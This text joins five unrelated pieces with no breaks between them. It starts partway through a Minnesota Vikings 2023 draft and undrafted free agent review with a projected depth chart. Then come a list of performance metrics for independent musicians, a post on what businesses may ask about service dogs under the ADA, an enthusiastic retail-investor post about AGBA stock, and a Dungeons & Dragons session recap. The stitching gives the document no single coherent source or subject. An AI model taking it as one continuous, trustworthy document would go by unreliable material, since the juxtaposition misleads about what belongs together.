Dane Brugler: "Overall, McBride is unproven as a pass catcher and blocker, which might restrict his NFL role, but his contact balance, vision and lateral agility are among the best this running back draft class has to offer"
In an era of advanced metrics and Combine showmanship, perhaps the trait that has gone underappreciated more than any other in RB scouting is balance. McBride may have the best balance in the entire RB class outside of Bijan Robinson. He comes from a heavy outside zone scheme at UAB, where he led the FBS in yards per game and set school records for single-game and single-season rushing. McBride absorbs contact like a sponge. His short area burst is strong, and he makes defenders miss with power and finesse. McBride has ideal size and toughness. His concerns are simple. He was not utilized as a receiver in college, and he had more career fumbles than catches in that time. McBride profiles as a two-down player at the next level. Although Adofo-Mensah has voiced his belief that McBride's passing game usage was a product of scheme rather than ability, McBride still has to prove that he is more than just a short yardage runner in the NFL.
After spending a pick in back to back years on RB and re-signing Mattison to a modest contract, RB was a bit of an unexpected pick for this regime. Dalvin Cook still seems to be movable (a likely cut candidate at this point), which would make this pick more logical. Chandler struggled with injuries as a rookie, but both he and Nwangwu profile more as speedy scatbacks than true between-the-tackle runners like Mattison. Even Mattison has never been a true three-down back. McBride plays much more similarly to Mattison than the other backs on the team. He will try to carve out a role behind him as the future thunder to the lightning provided by Chandler and Nwangwu.

UDFA

FB Zach Ojile, Minnesota Duluth
Profile: 6Sr 6'0" 241lbs 31.5" Arms 8.5" Hands 75.5" Wing 4.78 40\ 1.79 10* 31" VJ* 9'1" BJ* 4.40 Shuttle* 31 Bench* 4.15 RAS*
2022 Stats: 11 Gm 12 Rush 53 Rush Yds 3 Rush TD 25 Rec 289 Rec Yds 5 Rec TD
A Twin Cities native, Ojile was a late addition to the roster, joining after a May rookie minicamp tryout. Ojile played LB, QB, FS, and RB in high school but found a role as an H-Back at UMD. He served as a team captain the past two seasons and finishes his collegiate career with over 1100 total yards and 24 total TDs. He was an All-Conference player for the DII NSIC Bulldogs. Whether Ojile participates at FB or TE, he'll need to prove his versatility to beat out the veterans on the depth chart. Working in his favor is Kevin O'Connell's shift to a more base-heavy offense in 2023.
WR Cephus Johnson, Southeastern Louisiana
Profile: 6Sr 6'4" 223lbs 33.25" Arm\ 8.5" Hand* 78.625" WIng* 4.57 40* 1.59 10* 36.5" VJ* 10'1" BJ* 4.39 Shuttle* 7.25 3c* 18 Bench* 9.48 RAS*
2022 Stats: 11 Gm 184 Pass Att 65% Comp 1354 Pass Yds 10 Pass TD 5 INT 89 Rush 488 Rush Yds 5 Rush TD
Johnson is making the fulltime switch from QB to WR as he attempts to latch on to an NFL practice squad. He earned the starting role for South Alabama as a redshirt junior before transferring to SE Louisiana, where he took some snaps at WR in spring games. Johnson's stats were unimpressive as a starting QB, notching just 1354 yards and a 2:1 TD:INT ratio in 11 starts. He has good size and instincts as a runner, but he has basically no experience playing WR.
WR Lucky Jackson, W Kentucky / XFL DC Defenders
Profile: RSr 6'0" 179lbs 9.624" Hand\ 32.25" Arm* 75.875" Wing**
2023 Stats: 10 Gm 36 Rec 572 Yds 5 TD 1 Fmb
Jackson last put on a college uniform before the pandemic for Western Kentucky, where his 2019 season saw him put up over 1100 yards on 94 receptions. Following his college days, Jackson spent time in the CFL and the Spring League before joining the XFL's DC Defenders and becoming an All-XFL receiver.
WR Malik Knowles, Kansas St
Profile: RSr 6'2" 196lbs 32.25" Arm 8.75" Hand 77.625" Wing
2022 Stats: 14 Gm 48 Rec 725 YDs 2 TD 8 Rush 164 Rush Yds 3 Rush TD 23 KR 592 KR Yds
Knowles is a vertical threat with good size and length. He offers value as a kick returner and leaves Kansas State with a top 5 rank in all-purpose yards. Knowles is an undeveloped route runner that struggles with quick change-of-direction. He also has trouble with press coverage. He'll need to prove his value on special teams, where he has plenty of collegiate experience as a kick returner.
WR Grant Maag, North Dakota
Profile: 5Sr 6'4" 206lbs 9.25" Hand\ 31.875" Arm* 77.625" Wing* 4.49 40YD* 1.60 10YS* 40.5" VJ* 10'5" BJ* 4.34 Shuttle* 6.90 3c* 8.50 RAS*
2022 Stats: 12 Gm 41 Rec 540 Yds 5 TDs
Maag was brought in following the announcement of Ben Ellefson's retirement. He is an Inver Grove Heights native and a graduate of St Croix Lutheran in St Paul. He leaves North Dakota with over 2000 yards over his five years and served as a team captain the past two seasons. His size gives him an advantage with a shorter WR group ahead of him, but Maag is a far cry from a roster lock.
WR Thayer Thomas, NC State
Profile: 6Sr 6'0" 198lbs 9" Hand\ 30.125" Arm* 73.5" Wing 4.56 40* 1.63 10* 37" VJ* 10' BJ* 4.03 Shuttle* 6.93 3c* 15 Bench* 7.85 RAS*
2022 Stats: 13 Gm 57 Rec 642 Yds 4 TDs 2 Rush Att 44 Rush Yds 1 Rush TD 17 PR 128 PR Yds
A multisport athlete that was drafted by the Red Sox in 2019, Thomas walked onto the Wolfpack football team and got onto the field any way he could. In 2018, he saw work as a receiver, punt returner, and passer. Thomas has good hands (a career drop rate of 4%) and a high work ethic, but he is an undeveloped route runner that struggles to create much after the catch. He will need to prove his worth on special teams if he wants to make the roster.
TE Ben Sims, Baylor
Profile: RSr 6'4" 250lbs 33.125" Arm\ 9.5" Hand* 80.125" Wing* 4.58 40YD* 1.56 10YS 36" Vert* 10'2" Broad* 4.41 Shuttle* 7.46 3c* 15 Bench* 8.40 RAS*
2022 Stats: 12 Gm 31 Rec 255 Yds 3 TDs 2 Drops 1 Rush TD
Sims projects as a blocking tight end with limited ability as a receiver. He's a patient run blocker with good balance and toughness, but he is still cleaning up some technique. He isn't a creator with the ball in his hands and his tape fails to demonstrate the explosiveness that his testing suggests.
OL Alan Ali, TCU
Profile: RSr 6'4" 301lbs 32.875" Arm 9.5" Hand 77.625" Wing 5.23 40\ 1.89 10* 26.5" VJ 8'5" BJ* 4.91 Shuttle* 7.94 3c* 3.80 RAS*
A 5 year starter for TCU and SMU, Ali is a fundamentally sound center prospect with good body control and core strength. He has experience playing at all 5 OL positions but spent most of the past 4 years at center. His lack of athleticism and length are likely the reason he went undrafted.
OT Jacky Chen, Pace
Profile: RSr 6'5 1/4" 299lbs 10" Hand\ 34.5" Arm* 80.75" Wing* 5.41 40* 1.81 10* 29" VJ* 8'10" BJ* 4.74 Shuttle* 7.90 3c* 24 Bench* 5.39 RAS*
It's hard to find very much information on an undrafted lineman from a DII school whose toughest opponent was the University of New Haven. Chen is an OT prospect that is viewed as a ball of clay. Chen's 40 yard dash and 3 cone were underwhelming to say the least, but he was an above average tester in burst and explosiveness drills. That combined with his length make him an interesting project.
EDGE Andre Carter II, Army
Profile: Sr 6'6.5" 256lbs 9.375" Hand 33.275" Arm 81 Wing 4.91 40\ 1.65 10* 30" VJ 9'1" BJ 4.36 Shuttle 6.97 3c* 11 Bench 6.29 RAS*
2022 Stats: 10 Gm 41 TKL 7 TFL 3.5 SCK 2 PD
The highest profile UDFA signing of the class, Carter was getting 1st round buzz this time last year. At that time, Carter was coming off an 18.5 TFL / 15.5 sack season. However, Carter struggled to repeat his production as a senior, notching just 3.5 sacks. Carter finished out the draft cycle with lackluster testing, failing to run under a 4.90 in the 40 yard dash and weighing in at a mere 256 lbs -- a big concern given his 81 inch wingspan and towering stature. Carter has a ton of upside, but he doesn't have the frame to be a real NFL player right now. After 4 years training to be an officer in the US Army, he will need at least one season (maybe more) in an NFL weight room where he can focus on building muscle mass. He'll look to follow the mold of fellow Army player Alejandro Villanueva, who added 43 lbs to his 277 lbs frame entering the league before becoming a 7-year starter. Luckily, he joined the team with one of the best training facilities in the league.
EDGE Junior Aho, SMU
Profile: 6'2" 260lbs 9" Hand 33.875" Arm 79.875" Wing 4.58 40\ 1.66 10* 33.5" VJ* 10'3" BJ* 4.90 Shuttle* 7.38 3c* 9.38 RAS*
2022 Stats: 13 Gm 23 TKL 2 TFL 2 SCK 1 FF
Quite simply, Aho is an athletic freak that should find his way onto the team thanks to the International Player Pathway roster spot. He takes pride in his speed and athleticism, but he also understands the limitations to his game. Aho was a solid rotational player for SMU. He will look to follow in the footsteps of other International Pathway players like Efe Obada and Jordan Mailata.
DT Calvin Avery, Illinois
Profile: RSr 6'1" 343 lbs 10" Hand\ 32.5" Arm 81.87" Wing 5.37 40* 1.84 10* 30.5" VJ* 8'5" BJ* 8.01 3c* 31 Bench* 3.12 RAS*
2022 Stats: 13 Gm 23 TKL 2 TFL 1 PD
Avery is a former four star recruit out of Texas, earning snaps in 12 games as a true freshman. He started 12 games in 2022, primarily at nose tackle. He has a wide, large frame that makes him hard to move. However, he is an underwhelming athlete to say the least, and his statistical production is nearly non-existent.
LB Abraham Beauplan, Marshall
Profile: RSr 5'11" 241 lbs 9.25" Hand 31.75" Arm 77 1/4" Wing 4.62 Shuttle 35.5" VJ 9'9" BJ 7.33 3c 22 Bench 4.52 RAS
2022 Stats: 12 Gm 66 TKL 6.5 TFL 1 SCK 3 PD
Beauplan started the draft process by making an appearance on Bruce Feldman's Freaks List, reportedly squatting as much as 565 lbs and benching as much as 285. The few reports that exist on Beauplan suggest he's an urgent, downhill run defender that will look to carve out a role on special teams early on.
LB Wilson Huber, Cincinnati
Profile: 6Sr 6'4" 241lbs 9.75" Hand 32.375" Arm\ 80" Wing* 4.70 40* 1.66 10* 35" VJ* 10'4" BJ* 4.45 Shuttle* 6.91 3c* 18 Bench* 8.34 RAS*
2022 Stats: 13 Gm 54 TKL 6.5 TFL 1 SCK 1 PD
A 3 star recruit out of Indiana, Huber started his career at Cincinnati as a TE. He played a hybrid role in his first 2 non-redshirt seasons, earning snaps on offense, defense, and special teams. He made a full role switch to the defensive side of the ball in 2020 and eventually earned the team captain moniker in 2022. Huber had some solid testing despite profiling as more of a thumper.
LB Ivan Pace Jr, Cincinnati
Profile: Sr 5'10.5" 231lbs 30.25" Arm 9.5" Hand 72" Wing 4.59 40\ 1.70 10* 35" VJ 9'8" BJ* 4.40 Shuttle * 7.18 3c* 22 Bench* 5.71 RAS*
2022 Stats: 13 Gm 137 TKL 21.5 TFL 10 SCK 3 FF 4 PD
Ranked the 11th best LB for Daniel Jeremiah, 9th for Dane Brugler, and 7th for PFF, many thought Pace could have gone as early as Round 3. Pace was a one year starter for the Bearcats after transferring from Miami (Ohio), and he hit the ground running. He led the AAC in tackles and TFLs. He is a smaller player (although not abnormally so in today's game) that plays with his hair on fire. He gives tremendous effort on every play and is always around the ball. Pace is a super tough player that loves to tackle. His size is a concern; he gets washed out of plays too easily. He is also lacking in coverage skills, struggling to stay connected in man coverage. Still, it's incredible that Pace went undrafted. He's an easy special teams projection as a rookie with the upside to be put in position to win under Flores.
CB CJ Coldon, Oklahoma
Profile: 6Sr 5'10" 186lbs\ 8.375" Hand* 31.125" Arm* 75.125" Wing* 4.60 40* 1.58 10* 37 1/2" VJ* 10'5" BJ* 4.24 Shuttle* 7.31 3c* 3.92 RAS*
2022 Stats: 12 Gm 42 TKL 2 TFL 4 INT 6 PBU
Coldon is an instinctual football player that relies on his feel to create ball production. He spent 5 years at Wyoming before transferring to Oklahoma and leading the team in INTs and PBUs. In zone, Coldon watches the QB and looks for the right cue to understand when and where the ball is headed.
CB NaJee Thompson, Georgia Southern
Profile: 5'10" 200lbs 9.125" Hand 32.75" Arm 76.625" Wing 4.57 40\ 1.63 10* 32" VJ* 9'8" BJ* 4.56 Shuttle* 7.40 3c* 13 Bench* 1.59 RAS*
2022 Stats: 13 Gm 37 TKL 1 TFL 11 PD 1 INT
Thompson's love for the game is undeniable. After struggling to latch onto the Georgia Southern WR room, Thompson approached his head coach asking to be exclusively a special teams player. He relishes being a gunner on punts. He eventually got moved to CB in 2021, logging 557 snaps at the position in 2022. He's undeveloped at the position, but his special teams prowess gives him a good shot at the roster.
CB Jaylin Williams, Indiana
Profile: RSr 5'9" 184lbs 9.125" Hand 29.875" Arm 71.75" Wing 4.43 40\ 1.58 10* 34.5" BJ* 9'11" BJ* 4.20 Shuttle* 7.01 3c* 13 Bench* 5.54 RAS*
2022 Stats: 10 Gm 40 TKL 2.5 TFL 7 PD 1 FR 1 BLK
A longtime role player for the Hoosiers before becoming a fulltime starter in 2019, Williams's 6 career INTs were the most amongst active players on the team last season. He earned second team All-Confernece honors in 2020 and was an honorable mention in 2021.
K Jack Podlesny, Georgia
Profile: RSr 6'0" 195lbs 29.25" Arms 9" Hands 74.75" Wing
2022 Stats: 31 Att 26 Made 50 Long 109 Kickoff 72 Touchbacks 74 PAT Att 73 PAT Made
Ranked as Dane Brugler's 4th kicker and Lance Zierlein's 3rd kicker, Podlesny enters Vikings camp following a career that saw him walk on to Georgia's football team and finish with an 82% hit rate. He hit all but one extra point last season for the national champion Bulldogs. A concern with Podlesny is his leg strength. His accuracy beyond 40 yards falls to just 54%. His clutchness may also come into question as he missed two kicks in the national championship semifinals against Ohio State.
​

Projected Depth Chart

Pos (Projected 2023 Rostered Count / 2022 Rostered Count): Starter, Rookie, Cuts
QB (2/2): Kirk Cousins, Jaren Hall, Nick Mullens
RB (4/4): Alexander Mattison, Kene Nwangwu, Ty Chandler, DeWayne McBride, Dalvin Cook
FB (1/1): CJ Ham, Zach Ojile
WR (5/5): Justin Jefferson, KJ Osborn, Jordan Addison, Jalen Nailor, Brandon Powell, Trishton Jackson, Jalen Reagor, Blake Proehl, Thayer Thomas, Cephus Johnson, Malik Knowles, Lucky Jackson, Garrett Maag
TE (3/3): TJ Hockenson, Josh Oliver, Johnny Mundt, Nick Muse, Ben Sims
OL (9/10): Christian Darrisaw, Ezra Cleveland, Garrett Bradbury, Ed Ingram, Brian O'Neill, Chris Reed, Austin Schlottman, Oli Udoh, Blake Brandel, Josh Sokol, Vederian Lowe, Alan Ali, Jacky Chen, Sam Schlueter
DT (7/6): Harrison Phillips, Dean Lowry, Jonathan Bullard, James Lynch, Esezi Otomewo, Jaquelin Roy, Khyiris Tonga, Ross Blacklock, Sheldon Day, TJ Smith, Calvin Avery
EDGE (4/5): Danielle Hunter, Marcus Davenport, Pat Jones II, DJ Wonnum, Luiji Vilain, Curtis Weaver, Benton Whitley, Kenny Willekes, Andre Carter II, Junior Aho
ILB (4/4): Jordan Hicks, Brian Asamoah, Troy Reeder, Ivan Pace Jr, Troy Dye, William Kwenkeu, Abraham Beauplan, Wilson Huber
CB (5/6): Byron Murphy, Andrew Booth, Akayleb Evans, Mekhi Blakmon, Joejuan Williams, Kalon Barnes, Tay Gowan, John Reid, CJ Coldon, Najee Thompson, Jaylin Williams
S (5/4): Harrison Smith, Lewis Cine, Jay Ward, Josh Metellus, Camryn Bynum, Theo Jackson
K (1/1): Greg Joseph, Jack Podlesny
P (1/1): Ryan Wright
LS (1/1): Andrew DePaola
KR: Kene Nwangwu
PR: Brandon Powell

2024 Needs

Starters Needed: QB, OG, EDGE, DT -- Whether due to expiring contracts (Cousins, Cleveland, Davenport, Hunter) or overall suckitude (Ingram, Lowry), we need to find new starters at this positions in 2024. Could we go on with average-level free agents? Maybe. Should we? Maybe not.
We'll see how the group plays: CB, LB, RB -- These are positions where the front office is counting on young players (Booth, Evans, Asamoah) to fill the roles of departed starters. If those players take that step up, these positions drop on the needs list. Otherwise, we're in for a rough season.
Depth needed: WR -- The depth after Jefferson, Osborn, and Addison is not great. And Osborn is entering a contract year. Unless Keenan McCardell works some magic with Jalen Nailor or Trishton Jackson or Thayer Thomas, this should be a position we add to next year.

Final Thoughts

Versatility. When we look at this Vikings draft class, that's the first word that comes to mind, and it comes in big bold letters. Addison has inside-outside versatility. So does Mekhi Blackmon. Jay Ward is the most versatile of the group, capable of playing every DB position plus some spot snaps at LB. Roy has been productive everywhere from 0T to 4i. And the team has talked about how much they believe McBride can contribute as a pass catcher on top of his bruiser mindset as a between-the-tackles runner.
On offense, this shift seems to stem from a philosophical change following the TJ Hockenson acquisition last year. O'Connell's unit went from trying to copy-paste Sean McVay's outside zone scheme (largely a 3WR offense) to Kyle Shanahan's outside zone scheme (largely a TE-FB offense). And in that mold, O'Connell was looking for players he could use to create the illusion of complexity. That is, how can we employ versatile players to present defenses the threat of multiplicity?
On defense, the answer is a lot simpler. By bringing over Brian Flores, the team is hoping for a jolt in tenacity and an overall move to a hybrid amoeba scheme. You can look historically at how Bill Belichick has utilized flexibility in his defenses to maximize his gameplan for whatever offensive scheme is next on the menu. You can look at players on the line of scrimmage that have experience in both 43 and 34 schemes (Hunter, Phillips, Lynch, Bullard). And in the secondary, look no further than the selection of Jay Ward as an attempt to clone players like Jevon Holland and Kyle Dugger.
As Adofo-Mensah has repeatedly said, he approaches his job with humility. He listens to those around him and he finds the point where stories marry data to make informed decisions. And in O'Connell, he found someone who shares that mentality. With the emphasis on versatility, that mindset can now be applied on a weekly (and play-by-play) basis to opponents. We'll see how successful that strategy is as the team continues to straddle the line between competitive and rebuilder, but there is certainly an energy around the fanbase with the continued success of the offense and the addition of Brian Flores.

One of the most uncomfortable things for artists is reporting and goal setting. As you look at your BUSINESS you need to decide what the goals are and how to measure them.
Here is a basic list of KPI's (Key Performance Indicators) every Indie Artist needs to have reports for.

1. Album Sales: the number of albums sold both digitally and physically.
2. Single Track Downloads: the number of single tracks downloaded or purchased from digital platforms.
3. Streaming Data: platforms like Spotify, Apple Music, and Pandora are the standard, monitoring the number of plays or streams is important.
4. Social Media Engagement: track likes, shares, comments, and overall engagement on social media platforms.
5. YouTube Views: number of views, likes, and comments on your music videos or other content on YouTube.
6. Merchandise Sales: how much merchandise (like T-shirts, posters, etc.) you're selling.
7. Concert Attendance: track how many people are attending your concerts or live events.
8. Ticket Sales: track of the number of tickets sold for concerts or shows.
9. Fan Base Growth: measure the growth of your fan base over time. this can be tracked through social media followers, mailing list subscribers, fan club membership, etc.
10. Radio Airplay: measure how often your songs are being played on the radio.
11. Website Traffic: measure the number of visitors to your band's official website and their behavior (time spent, pages visited, etc.).
12. Press Coverage: measure the quantity and quality of media coverage your band receives.
13. Revenue from Licensing: measure the revenue generated from the licensing of your music for use in TV, movies, commercials, etc.
14. Audience Demographics: track the demographics of your audience/fan base, such as age, gender, geographic location, etc. this can help with marketing and targeting efforts.

Now that you have the list, build out the database to record the data - BONUS if you hire someone from Fiverr or somewhere else to build a dashboard to make viewing the data easy.
With this info you can see what is successful, and where to invest time/money to grow in those areas.

I want to make it clear first and foremost if the dog is not causing an issue, don’t say anything. That is illegal and could result in very hefty fines. Follow all laws and regulations in regards to the ADA.
There are two questions you are legally allowed to ask the owner of a service animal about their dog:

1. Is the dog a service animal required because of a disability?
   
2. What work or task has the dog been trained to perform?
   

That’s it. Don’t ask anything else. If they cannot answer these questions or refuse to answer you can deny them entry under the ADA. You cannot ask the customer any questions about their disability or really just anything aside from those two specific questions.
Next I would to make it clear that service dogs are not required to wear a vest identifying them as such. The owners are also not required to provide proof or even carry documents regarding the service dog.
HOWEVER, there are instances where you can kick the dog out.
“The handler is responsible for the care and supervision of his or her service animal. If a service animal behaves in an unacceptable way and the person with a disability does not control the animal, a business or other entity has the right to ask that the dog be removed. A business also has the right to deny access to a dog that disrupts their business or poses a direct threat to the health and safety of others. For example, if a service dog barks repeatedly or growls at customers, it could be asked to leave.”
https://adata.org/faq/how-can-i-tell-if-animal-really-service-animal-and-not-just-pet
Basically if the dog is posing a danger or potential danger to other customers or disrupting the business they can be asked to leave. Keep in mind a dog barking once or twice does not nescesssrily mean this. Some service dogs are trained to bark in certain situations to alert their owners. Barking repeatedly, barking at other people, or acting aggressively are where you can take action.
If you need to remove a dog that is claimed to be a service dog, I would highly recommend making sure you get a video or some evidence of the dog behaving disruptively as well as a video of you asking them to leave. I would compare this legally to someone backing their car into the front of yours. Yes you are legally in the right, but the law assumes you are probably not.
Why Ysk: there has recently been a huge rise in people pretending their animals are service dogs. There is a large legal gray area and you should know how to handle a disruptive dog without causing yourself legal trouble
(This is not legal advice and I am not a lawyer, it is simply a summary of online information from the ADA website and other legal websites)
Sources:
https://adata.org/faq/how-can-i-tell-if-animal-really-service-animal-and-not-just-pet
https://www.findlaw.com/legalblogs/small-business/is-it-legal-to-ask-for-service-dog-papers/
https://pettable.com/blog/can-you-legally-ask-for-proof-of-service-dog#:~:text=If%20it%20isn't%20obvious,disability%20or%20ask%20for%20medical
https://www.servicedogregistration.org/blog/how-to-prove-dog-is-service-dog/

How’s it going everyone? I’ve been really focused on a couple different sectors recently and wanted to share what I’ve been thinking about. The main sector I’ve been looking into is the financial sector and I’ve been trying to answer the question “what makes this company different than all the others?” I feel like there are so many companies out there that all relatively do the same thing (which is annoying because it makes it hard to differentiate between them al imo). Does anyone know of any companies that you can answer the “what makes this company different?” question? Would love to see some that I potentially missed.
While I was doing my research I saw a couple reddit posts about $AGBA and decided to do some DD on em. At first I was a little skeptical because their stock price was sitting $1.50ish but I read what they do and how big they actually are in Hong Kong and it’s cracked lmao. They seem to be the biggest/the leading one-stop financial supermarket in their region so I’m honestly surprised that their stock is the way it is. Does anyone know why it’s sitting where it is?
I found in their Q1 report that revenue for Q1 2023 was USD$11.1m, which is up 533% on the same period of 2022. It’s pretty insane. I also saw that in March 2023, they recorded the highest level of new business applications in the past three years. It seems like they’re doing well in terms of business and revenue so I really am a bit confused. Like they’re this massive company who are continually getting new partners and financial products. For example in Q1 they got 10 new insurance partners and released more than 170 new insurance and investment products bringing their total offering to over 2,000 financial products in total. To me they seem like they could be going on a bull run sometime soon but I would love to know what others are thinking about them?
I read a couple articles saying that they think the Hong Kong economy is also going to see a rebound in the coming months with the island opening it’s doors to mainland visitors, which should in theory should mean some solid growth for them.
I’m honestly not sure if I found a lowkey gem or not but I would love some input on them and I guess the financial sector in general. But from what I read it does seem like they’re a big deal over in Hong Kong (an area I'm not familiar with at all) and with an economic rebound suppose to be happening soon I can’t imagine they don’t see some sizeable growth.

Some time ago, part of my group was unknowingly trapped in Alterdeep as the other half of the party attempted to locate them and rescue them in the real world (while also roleplaying their simulated selves). This was right around the time that the warring between house Freth and house Auvryndar had reached a boiling point. House Auvryndar was doing well, having already lead the party to destroy Azrok's legion and assuming control of Stromkuhldur in the wake, but much work still needed to be done if the drow house was to take charge of the entire upper half of Undermountain.
Muiral the Misshapen still posed a problem for the house, regularly picking off scouts and messengers between the areas they control. If Auvryndar were to reach its peak influence, he would need to be dealt with. Vlonwelv decided to arrange for the adventurers to meet with her personally upon their arrival in the area.
Sure enough, the party found their way to level 10 at one point, and were chased out of the area in an effort to flee Muiral. After being lead to speak with Vlonwelv, the party was fairly convinced that these drow were more useful allies than enemies (a sentiment likely shared between both groups). Eventually a bargain was struck and the party promised to kill Muiral.
However, the dungeon caused much distraction for the group, who was already in the midst of trying to deal with Xanathar's guild after killing The Xanathar. With little time to keep the party's own hands on operations, a lich confidant of Xanathar's took leadership over the guild and a string of kidnappings in Waterdeep followed shortly thereafter (though it would not be for many months that the group would realize the two events are actually unrelated).
When the party finally arrived on Skull Island to confront the new leader of Xanathar'a guild, they were rather surprised to learn that a lich was now leading the goblinoid forces. In a moment of rash decision-making, the group attempted to assault the leader right then and there. Goblins poured from every shadow and crack imaginable as the lich effortlessly kept a distance and harried them with spells. First, the lich killed the artificer. Then, the fighter became overwhelmingly surrounded by hobgoblins and was decapitated. The party wizard knew the fight was swinging the wrong way and urged his party members to flee. Panic ensued as the party members desperately tried to escape, with only half of the party managing to do so. The others were captured and placed into Waterdeep (here I made some adjustments to the book for the story because it was a good opportunity to introduce alterdeep without trying it to different villains, so I had Nihiloor of the Xanathar guild controlling Alterdeep from somewhere in the sewers of Waterdeep).
At this point, I filled in the other players what was going on, and asked them to all roleplay simulations of themselves to add to the realism of it, all while I peppered hints and clues to those trapped in the simulation that they weren't in the real world.
Fast forward 4 or 5 sessions later, they still haven't escaped the simulation and finally decide to deal with the Muiral problem. They go down to the 10th level using some gates and effectively "hunt the hunter". The fight proves more challenging than expected (Muiral is a slippery bastard), but they are holding the upper hand and forcing Muiral on the retreat. They manage to wound him pretty badly, so I have him try to escape. He scuttles into a nearby room and casts polymorph on himself. He turns himself into an ordinary spider and hides in a chimney. Muiral (and I) thought this was a pretty good escape plan.
The party all gives chase and dash into a seemingly empty room. They start looking around and asking questions, eventually deciding to check up the chimney because "you never know". I described that: "inside the chimney are remnants of cobwebs, old and new that choke the interior of this dusty stone shaft, indicating it has not been used in some time. A small garden spider spins a web in the corner near the flue".
At this point, my drow paladin finally gets some really good use out of his innate detect magic and asks "Is the spider magical?". His character has particular feelings about spiders due to his studies of Lolth under the church of Eilistraee, so it made perfect sense that his character would ask this. The cheers of I KNEW IT that followed were more magical than any spell cast that session.
TL;DR Party defeats Muiral because of the Detect Magic spell.